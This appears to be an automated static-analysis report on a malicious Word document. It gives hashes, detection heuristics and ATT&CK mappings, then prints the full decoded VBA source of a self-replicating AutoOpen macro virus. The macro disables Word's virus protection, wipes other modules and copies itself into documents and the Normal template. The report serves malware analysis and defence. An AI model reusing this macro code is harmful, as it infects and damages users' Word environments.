Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b704da28ead78c1…

MALICIOUS

Office (OLE)

43.0 KB Created: 2003-11-20 14:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ff52cf220440c6edbcf9b72238f673eb SHA-1: dd07c3ff5899424967660e1559a4d4f7fe2ef7fd SHA-256: 5b704da28ead78c104845aa980bc5fa25e4fc2690ae1c1c58c8d5eeb0befa802
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro. The script attempts to copy itself to the Normal template and the active document, indicating a persistence or propagation mechanism. The ClamAV detection 'Doc.Dropper.Agent-6395456-0' further supports its malicious nature as a dropper.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6395456-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6395456-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1688 bytes
SHA-256: 0d02133094213ae7bcbce53b93269618bb109a33fbea5181ebc576979d3533cd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "kgrffb"


Rem"Ìî?êîììåíòàðè"
Rem"Ìî?êîììåíòàðè"
Sub autoopen()
On Error Resume Next
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = False
Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = 0
ActiveDocument.ReadOnlyRecommended = False
WordBasic.DisableAutoMacros -1
Set AD = ActiveDocument.VBProject.VbcoMponents
Set NT = NormalTemplate.VBProject.VbcoMponents
InfectedAD = False
InfectedNT = False
For i = 1 To AD.Count
If AD(i).Name = "kgrffb" Then InfectedAD = True
Next i
For t = 1 To NT.Count
If NT(t).Name = "kgrffb" Then InfectedNT = True
Next t
 '§ß§à§Ó§à§Ö
If InfectedAD = True And InfectedNT = True Then Exit Sub
If InfectedAD = False Then
For i = 1 To AD.Count
AD(i).CoDemodule.deleteLines 1, AD.VbpojeCt.VbcoMponents(i).CoDemodule.CountofLines
Next i
NT("kgrffb").Export (Application.StartupPath & "\kgrffb")
AD.IMport (Application.StartupPath & "\kgrffb")
End If
If InfectedNT = False Then
For i = 1 To NT.Count
NT(i).CoDemodule.deleteLines 1, NT.VbpojeCt.VbcoMponents(i).CoDemodule.CountofLines
Next i
AD("kgrffb").Export (Application.StartupPath & "\kgrffb")
NT.IMport (Application.StartupPath & "\kgrffb")
End If
ActiveDocument.ReadOnlyRecommended = False

ActiveDocument.Save
NormalTemplate.Save
 If Options.BlueScreen = True Then ShowVisualBasicEditor = True
End Sub